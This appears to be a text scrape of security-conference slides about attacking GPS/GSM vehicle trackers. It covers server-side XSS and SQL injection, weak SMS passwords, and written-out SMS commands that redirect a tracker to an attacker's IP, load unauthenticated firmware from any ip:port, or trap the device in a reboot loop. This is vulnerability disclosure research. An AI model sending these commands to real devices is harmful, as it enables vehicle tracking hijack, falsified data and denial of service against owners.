22
Where is my car, dude?! Dmitry Chastuhin Gleb Cherbov

Chastukhin, cherbov where is my car dude

Embed Size (px)

Citation preview

Page 1: Chastukhin, cherbov   where is my car dude

Where is my car, dude?!

Dmitry Chastuhin

Gleb Cherbov

Page 2: Chastukhin, cherbov   where is my car dude

About

Dmitry chipik Chastuhin

Yet another security researcher

@_chipik

Page 3: Chastukhin, cherbov   where is my car dude

About

Gleb Cherbov

• Digital security • Defcon Russia 7812

@cherboff

Page 4: Chastukhin, cherbov   where is my car dude
Page 5: Chastukhin, cherbov   where is my car dude
Page 6: Chastukhin, cherbov   where is my car dude

So what?

GSM channel GPS Server side Device

Fake BTS

Jammers

?

Page 7: Chastukhin, cherbov   where is my car dude

Tracker

Page 8: Chastukhin, cherbov   where is my car dude

Attack. Inf disclosure

Page 9: Chastukhin, cherbov   where is my car dude

Attack. XSS

Page 10: Chastukhin, cherbov   where is my car dude

Attack. SQLinj

Page 11: Chastukhin, cherbov   where is my car dude

PROFIT?

All your cars

prisoners

children

are belong to us…

Page 12: Chastukhin, cherbov   where is my car dude

Too simple…

Page 13: Chastukhin, cherbov   where is my car dude

So what?

GSM channel GPS Server side Device

Fake BTS

Jammers

OWASP top 9000

?

Page 14: Chastukhin, cherbov   where is my car dude

GSM/GPRS

GPS

Power/peripheral RS-232

Mic/speaker

SIM ARM

GPS ant.

Page 15: Chastukhin, cherbov   where is my car dude

How to interact with? RS-232 – configuration,

firmware update

SMS – configuration,

data exchange

GPRS – data exchange,

configuration, firmware update

Voice call – just for voice calling =)

Page 16: Chastukhin, cherbov   where is my car dude

SMS configuration require authentication…

…but who use it?

Page 17: Chastukhin, cherbov   where is my car dude

…In numbers

43

22 11

secure no password "123" like login/pass

Page 18: Chastukhin, cherbov   where is my car dude

MiTM

setparam 3245 <IP> setparam 3246 <Port>

change any sent parameter: • coordinates • speed • fuel level

Page 19: Chastukhin, cherbov   where is my car dude

DEMO

Page 20: Chastukhin, cherbov   where is my car dude

Firmware update through SMS

• Just sent SMS: BOOT <IMEI> <APN setting> <ip:port> <filename>

…and device try to load ip:port\filename and update own firmware

Without any authentication!

Page 21: Chastukhin, cherbov   where is my car dude

DoS through SMS

• Just sent SMS: BOOT <IMEI>

…and device will be reboot in infinity updater loop

Page 22: Chastukhin, cherbov   where is my car dude

Questions?